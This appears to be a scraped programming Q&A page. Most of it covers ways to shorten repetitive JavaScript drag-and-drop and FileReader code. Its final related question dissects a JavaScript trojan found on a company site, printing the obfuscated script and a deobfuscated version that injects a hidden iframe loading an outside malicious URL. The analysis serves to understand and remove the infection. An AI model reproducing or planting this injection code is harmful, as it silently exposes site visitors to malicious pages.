How can I make this Javascript code more concise? - javascript

fairly new to coding and I'm building out a connect four game. The code I pasted allows me to drag and drop the red & yellow tokens to the cells of the top row of the game board. This works, but before I move on to the next step I would like to know if there is a less "verbose" way that I could have gone about this? A more professional approach?
var dragYellow = document.getElementById("yellowToken1");
var dragRed = document.getElementById("redToken1");
var dropLoc10 = document.getElementById("10");
var dropLoc11 = document.getElementById("11");
var dropLoc12 = document.getElementById("12");
var dropLoc13 = document.getElementById("13");
var dropLoc14 = document.getElementById("14");
var dropLoc15 = document.getElementById("15");
var dropLoc16 = document.getElementById("16");
dragYellow.ondragstart = function(evt) {
evt.dataTransfer.setData("key", "yellowToken1");
}
dragRed.ondragstart = function(evt) {
evt.dataTransfer.setData("key", "redToken1");
}
dropLoc10.ondragover = function(evt) {
evt.preventDefault();
}
dropLoc11.ondragover = function(evt) {
evt.preventDefault();
}
dropLoc12.ondragover = function(evt) {
evt.preventDefault();
}
dropLoc13.ondragover = function(evt) {
evt.preventDefault();
}
dropLoc14.ondragover = function(evt) {
evt.preventDefault();
}
dropLoc15.ondragover = function(evt) {
evt.preventDefault();
}
dropLoc16.ondragover = function(evt) {
evt.preventDefault();
}
dropLoc10.ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc10.appendChild(myNewElement);
}
dropLoc11.ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc11.appendChild(myNewElement);
}
dropLoc12.ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc12.appendChild(myNewElement);
}
dropLoc13.ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc13.appendChild(myNewElement);
}
dropLoc14.ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc14.appendChild(myNewElement);
}
dropLoc15.ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc15.appendChild(myNewElement);
}
dropLoc16.ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc16.appendChild(myNewElement);
}

Something like:
var dragYellow = document.getElementById("yellowToken1");
var dragRed = document.getElementById("redToken1");
var dropLoc = [];
for (i = 10; i < 17; i++) {
dropLoc[i] = document.getElementById(i.toString());
dropLoc[i].ondragover = function(evt) {
evt.preventDefault();
}
dropLoc[i].ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData("key");
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement("img");
myNewElement.src = myElement.src;
dropLoc[i].appendChild(myNewElement);
}
}
dragYellow.ondragstart = function(evt) {
evt.dataTransfer.setData("key", "yellowToken1");
}
dragRed.ondragstart = function(evt) {
evt.dataTransfer.setData("key", "redToken1");
}
You know the term DRY (Don't Repeat Yourself)? If you find yourself writing names with numbers as suffixes, it's a massive hint to use an array instead!

I'd suggest you add a class to the object's you want to drag and the drop locations. For example: Your drop elements could have a class (let's say drop-location) and you would simply do -
var dropLocs = document.querySelector(".drop-location");
dropLocs.ondragover = function(evt) {
evt.preventDefault();
}
dropLocs.ondrop = function(evt) {
// Drop logic here
}
Since it's a class selector, you will have to figure out the target object (evt.target) and append the newly created img element to that only.

for anyone interested, see sharper's code works but I had to change one line
var dragYellow = document.getElementById('yellowToken1');
var dragRed = document.getElementById('redToken1');
var dropLoc = [];
for (i = 10; i < 17; i++) {
dropLoc[i] = document.getElementById(i.toString());
dropLoc[i].ondragover = function(evt) {
evt.preventDefault();
console.log('dragging over');
}
dropLoc[i].ondrop = function(evt) {
evt.preventDefault();
var dropItem = evt.dataTransfer.getData('key');
var myElement = document.getElementById(dropItem);
var myNewElement = document.createElement('img');
myNewElement.src = myElement.src;
evt.currentTarget.appendChild(myNewElement);
}
}
dragYellow.ondragstart = function(evt) {
evt.dataTransfer.setData('key', 'yellowToken1');
console.log("dragging");
}
dragRed.ondragstart = function(evt) {
evt.dataTransfer.setData('key', 'redToken1');
console.log('dragging');
}

Related

fabric.js and socket.io Whiteboard construction issue

I am attempting to make a whiteboard using fabric.js and socket.io. It works, but after drawing one line, it stops working. I believe that it is looping in the socket.on function and that is causing it to keep adding the same object over and over but I am not sure how to address that.
(function() {
var socket = io();
var myid = 0;
var $ = function(id){return document.getElementById(id)};
var canvas = this.__canvas = new fabric.Canvas('c', {
isDrawingMode: true
});
var now_color="black";
var now_width = 1;
fabric.Object.prototype.transparentCorners = false;
var drawingModeEl = $('drawing-mode'),
drawingOptionsEl = $('drawing-mode-options'),
drawingColorEl = $('drawing-color'),
drawingLineWidthEl = $('drawing-line-width'),
clearEl = $('clear-canvas');
eraseModeEl = $('erase-mode');
selmode = $('select');
ermode = $('erase');
dmode = $('draw');
socket.on('draw', function(path) {
fabric.util.enlivenObjects([path], function(objects) {
canvas.add(objects[0]);
});
});
selmode.onclick = function() {
select.classList.remove('active');erase.classList.remove('active');draw.classList.remove('active');
select.classList.add('active');
canvas.isDrawingMode = false;
}
ermode.onclick = function() {
select.classList.remove('active');erase.classList.remove('active');draw.classList.remove('active');
erase.classList.add('active');
canvas.isDrawingMode = true;
canvas.freeDrawingBrush = new fabric.EraserBrush(canvas);
canvas.freeDrawingBrush.width = now_width;
}
dmode.onclick = function() {
select.classList.remove('active');erase.classList.remove('active');draw.classList.remove('active');
draw.classList.add('active');
canvas.isDrawingMode = true;
canvas.freeDrawingBrush = new fabric.PencilBrush(canvas);
canvas.freeDrawingBrush.width = now_width;
canvas.freeDrawingBrush.color = now_color;
}
var canvasModifiedCallback = function() {
canvas.setActiveObject(canvas.item(myid));
var what = canvas.getActiveObject();
socket.emit('draw', what);
myid++;
canvas.discardActiveObject();
};
canvas.on('object:added', canvasModifiedCallback);
})();

First time making my drag and drop FileReader() event but can't read the content of the file

Hi I need help on how I can make my drag and drop read the .text files that is dropped in the dropzone.. I'm still exploring javascript and would need help to guide me on what is wrong with my code..
The content of the text file should be shown on the displayarea
Reference: http://blog.teamtreehouse.com/reading-files-using-the-html5-filereader-api
Thanks in advance!
https://jsfiddle.net/d6nur0wc/1/
(function() {
var dropzone = document.getElementById("dropzone");
dropzone.ondrop = function(event) {
event.preventDefault();
this.className = "dropzone";
console.log(event.dataTransfer.files[0]);
window.onload = function() {
var fileInput = document.getElementById('dropzone');
var fileDisplayArea = document.getElementById('displayarea');
fileInput.addEventListener('dropzone.ondrop', function(read) {
var file = fileInput.files[0];
var textType = /text.*/;
if (file.type.match(textType)) {
var reader = new FileReader();
reader.onload = function(read) {
fileDisplayArea.innerText = reader.result;
}
reader.readAsText(file);
}
else {
fileDisplayArea.innerText = "File not supported!";
}
});
}
}
dropzone.ondragover = function() {
this.className = "dropzone dragover";
return false;
};
dropzone.ondragleave = function() {
this.className = "dropzone";
return false;
};
}())
Your code should be like this. you have to remove onload event listener. it can't be compatible here.
(function() {
var dropzone = document.getElementById("dropzone");
dropzone.ondrop = function(event) {
event.preventDefault();
this.className = "dropzone";
console.log(event.dataTransfer.files[0]);
var fileInput = document.getElementById('dropzone');
var fileDisplayArea = document.getElementById('displayarea');
var file = event.dataTransfer.files[0]
var textType = /text.*/;
if (file.type.match(textType)) {
var reader = new FileReader();
reader.onload = function(read) {
fileDisplayArea.innerText = reader.result;
}
reader.readAsText(file);
}
else {
fileDisplayArea.innerText = "File not supported!";
}
}
dropzone.ondragover = function() {
this.className = "dropzone dragover";
return false;
};
dropzone.ondragleave = function() {
this.className = "dropzone";
return false;
};
}())

Need help to generate three blocks using loop

Following 3 block of code, want to generate using loop/array to make short code.I know use of loop is not a big thing, but for me its difficult to change counter with variable "openFile", I want counter increment with variable "openFile" like openFile1, openFile2 and openFile3 with each iteration of loop.
$(function() {
var openFile1 = function(event) {
var input = event.target;
var reader = new FileReader();
reader.onload = function(){
var dataURL = reader.result;
var output = document.getElementById('img1');
output.src = dataURL;
};
reader.readAsDataURL(input.files[0]);
};
var openFile2 = function(event) {
var input = event.target;
var reader = new FileReader();
reader.onload = function(){
var dataURL = reader.result;
var output = document.getElementById('img2');
output.src = dataURL;
};
reader.readAsDataURL(input.files[0]);
};
var openFile3 = function(event) {
var input = event.target;
var reader = new FileReader();
reader.onload = function(){
var dataURL = reader.result;
var output = document.getElementById('img3');
output.src = dataURL;
};
reader.readAsDataURL(input.files[0]);
};
});
Just create a function that takes count as arg and return a function that takes just event as arg. due to closure, the value of 'count' given when calling openFile with a given value of count will be used for the inner function.
var openFileFunc = function(count) {
return
function(event) {
var input = event.target;
var reader = new FileReader();
reader.onload = function(){
var dataURL = reader.result;
var output = document.getElementById('img'+(count+1));
output.src = dataURL;
};
reader.readAsDataURL(input.files[count]);
};
}
Now you can get the three functions equivalent to what you did by calling a map like this:
var functions = [1,2,3].map(openFileFunc)
Each function in this array is the same as what you had.
var openFile = function(arrOfCount){
var reader;
for(i=0;i<arrOfCount;i++){
reader= new FileReader();
return function(event){
var input = event.target;
reader.onload = function(){
var dataURL = reader.result;
var output = document.getElementById('img'+(i+1));
output.src = dataURL;
};
reader.readAsDataURL(input.files[i]);
}
}
}
May be this will work for you.
function callFunctionNtimes(totalCount){
for(start=1;i<=totalCount;i++)
{
var filevar = 'openFile'+start;
filevar = function(event)
{
var input = event.target;
var reader = new FileReader();
reader.onload = function()
{
var dataURL = reader.result;
var output = document.getElementById('img'+start);
output.src = dataURL;
};
reader.readAsDataURL(input.files[0]);
};
}
}
//to call n time below function
var totalCount = 3;
callFunctionNtimes(totalCount);
I have tried to generalize code
var allImages = document.getElementsByClassName("my-images");
for (var i = 0; i < allImages.length; i++) {
var openFile = function(event) {
var input = event.target;
var reader = new FileReader();
reader.onload = function(){
var dataURL = reader.result;
var output = allImages[i];
output.src = dataURL;
};
reader.readAsDataURL(input.files[0]);
}
But still it seems you have 3 file upload controls and you want to display preview for each, is it so?

Needs to findbase 64 encode image file size when i am pasting image

I am taking print screen of browser and pasting it into div which is contenteditable.
I get the image in that but i want to find out image size in kb but i can not find that in firefox.
if (!window.Clipboard) {
var pasteCatcher = document.createElement("div");
pasteCatcher.setAttribute("contenteditable", "");
pasteCatcher.style.opacity = 0;document.body.appendChild(pasteCatcher);
pasteCatcher.focus();
document.addEventListener("click", function(){ pasteCatcher.focus(); });
}
window.addEventListener("paste", pasteHandler);
function pasteHandler(e) {
if (e.clipboardData) {
var items = e.clipboardData.items;
if (items) {
for (var i = 0; i < items.length; i++) {
if (items[i].type.indexOf("image") !== -1) {
var blob = items[i].getAsFile();
var size_blob = (blob.size * 3) / 4;
var blob_size=bytesToSize(size_blob,2);
var URLObj = window.URL || window.webkitURL;
var source = URLObj.createObjectURL(blob);
var reader = new FileReader();
reader.onload = function(event){
createImage(event.target.result);
};
reader.readAsDataURL(blob);
}
}
}
} else {
setTimeout(checkInput, 1);
}
}
function checkInput() {
var child = pasteCatcher.childNodes[0];
pasteCatcher.innerHTML = "";
if (child) {
if (child.tagName === "IMG") {
createImage(child.src);
}
}
}
function createImage(source) {
var pastedImage = new Image("300","300");
pastedImage.onload = function() {
}
pastedImage.src = source;
var arrayBuffer = source.split(",");
var size_blob = (source.length * 3)/ 4;
var blob_size=bytesToSize(size_blob,2);
document.getElementById('image2').appendChild(pastedImage);
}
Please can you help here

JavaScript trojan dissection

I've recently been playing with allot of JavaScript and started to consider that I couldn't encounter a piece of JavaScript that I wouldn't be able to debug.
Well I was pleasantly surprised and angered today when we discovered a number of JavaScript redirect trojans on our company’s website.
Most of the code we found I was able to easily dissect and used standard escaping to obfuscate the codes function.
But among the code we found the code below has completely stumped me on what its doing. (The only part that I can seem to work out is that it is doing a replace on some of the parameters).
So would anyone please be kind enough to dissect the following code for me? I would love to know exactly what’s going on...
<script>
function yJ() {};
this.sMZ = "sMZ";
yJ.prototype = {
w: function () {
var rJ = 13390;
this.m = "m";
this.fP = '';
this.q = "q";
this.oJ = "";
var vS = function () {
return 'vS'
};
var d = 'replace';
var qB = "";
x = '';
var s = document;
var xZ = "xZ";
mC = '';
var dV = "dV";
var b = window;
this.p = false;
this.kX = '';
nP = "nP";
var zE = "";
this.nU = false;
var yV = function () {
return 'yV'
};
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
this.pC = '';
var qV = false;
var fPU = new Array();
h = "";
var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, '');
var xV = 43258;
sT = '';
var mV = '';
this.wJ = "wJ";
var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, '');
var xB = '';
wI = "wI";
oT = false;
var nQ = 49042;
try {
zI = '';
var bF = new Array();
var aY = function () {
return 'aY'
};
var rN = false;
rF = "";
var cX = function () {
return 'cX'
};
var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, '');
this.rL = '';
var vH = function () {
return 'vH'
};
var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, '');
yD = "";
var eA = '';
var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, '');
vZ = '';
this.bG = "";
this.vL = false;
var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, '');
gI = '';
dVL = "dVL";
var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, '');
lH = "";
kD = "kD";
this.pH = false;
var k = 's9ric9'.gT(/[9Ni~O]/g, '');
var vB = '';
var kH = function () {
return 'kH'
};
var qH = new Array();
aD = '';
this.eQ = false;
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var cT = '';
var kL = function () {
return 'kL'
};
var bR = new Array();
this.cP = 22454;
var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, '');
lG = '';
tG = 7587;
hV = '';
this.oR = "oR";
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var dC = function () {};
var eR = new Date();
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
uM = "";
var i = function () {};
this.cI = "";
tU = false;
function qN() {};
xL = 57256;
var c = this.a();
this.eL = '';
var rY = function () {};
fG = false;
nO = false;
this.j = "";
this.iQ = 5330;
var sY = function () {};
var u = document[n](bQ);
this.tH = false;
zX = "";
u[r][o] = dH;
var kV = "kV";
pN = '';
var yG = new Array();
this.nOE = 818;
u[z](k, c);
this.bQK = "";
var yU = 15629;
var sM = new Array();
var eY = "eY";
var qP = '';
s[y][e](u);
var lU = "lU";
var zR = false;
var xS = "";
iX = 34795;
function pO() {};
this.gM = "";
} catch (g) {
var xI = false;
this.gO = false;
this.iZ = false;
this.iU = false;
var mQ = new Date();
var qF = function () {};
s.write(f);
var tS = "tS";
function aR() {};
nA = "nA";
var xT = new Date();
mZ = false;
var gN = new Array();
var wE = this;
var eB = 3562;
this.qE = "qE";
this.cS = false;
this.vK = false;
qEJ = false;
this.hW = false;
b[sV](function () {
function bI() {};
hJ = "";
var kVQ = "kVQ";
var iG = "";
var eBS = new Array();
rA = "";
wE.w();
jY = "";
var hB = "hB";
var iZF = '';
qY = "";
jYG = "";
uK = 30969;
var qD = "qD";
}, 326);
this.qC = "";
var aX = function () {};
var cN = "";
}
gB = false;
var fF = false;
this.hX = false;
},
a: function () {
rH = "rH";
this.bV = '';
var qW = "";
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
var sMS = new Array();
this.wL = false;
uS = "uS";
function pI() {};
}
};
var uI = false;
var kN = new yJ();
this.aQ = "aQ";
kN.w();
hT = 15101;
</script>
It embeds http://fancycake.xxx/something, and this is the line where you can see it:
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
You see how every odd character, when plucked from that string, forms the URL. I didn't run this, so I'm not sure under what conditions it does this, but you can see that String.replace has been renamed to String.gT and is being passed a regex against the characters which make the string obfuscated. If you apply that same method, plucking odd characters, you can see that there is a hidden iframe, some javascript event handlers, setAttribute, etc:
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
This is how String.replace is aliased:
var d = 'replace';
...
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
Within the context of that function, this is the string on which gT is being called and d is the string replace. On a string's prototype, this['replace'] returns the replace() method, which is then called with the two arguments to gT. The result is then returned.
Update
I transformed the script like so:
Replaced all string.gT() calls with their plain forms.
Removed any variables that aren't referenced.
Gave functions some common-sense names.
This is the result, it should be pretty clear how it works now:
function FancyCake() {};
FancyCake.prototype = {
embed: function () {
var d = 'replace';
var s = document;
var b = window;
var sV = 'setTimeout';
var f = "<html ><head ></head><body ></body></html>";
try {
zI = '';
var bF = new Array();
var y = 'body';
var r = 'style';
var bQ = 'iframe';
var t = 'write';
var n = 'createElement';
var k = 'src';
var z = 'setAttribute';
var dH = 'hidden';
var o = 'visibility';
var e = 'appendChild';
var c = this.getUrl();
var u = document[n](bQ);
u[r][o] = dH;
u[z](k, c);
s[y][e](u);
} catch (e) {
console.error(e);
s.write(f);
var cake = this;
b[sV](function () {
cake.embed();
}, 326);
}
},
getUrl: function () {
return "http://fancycake.net/.ph/1/";
}
};
var cake = new FancyCake();
cake.embed();
It adds an invisible iFrame to the following URL to your website:
<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe>
The website fancycake is marked as attacked and malicious under Firefox
Run it in a JavaScript debugger; eventually, the code will decompile itself and try to start. I suggest to use the latest version of FireFox maybe on a Linux box to be on the safe side.

Categories

Resources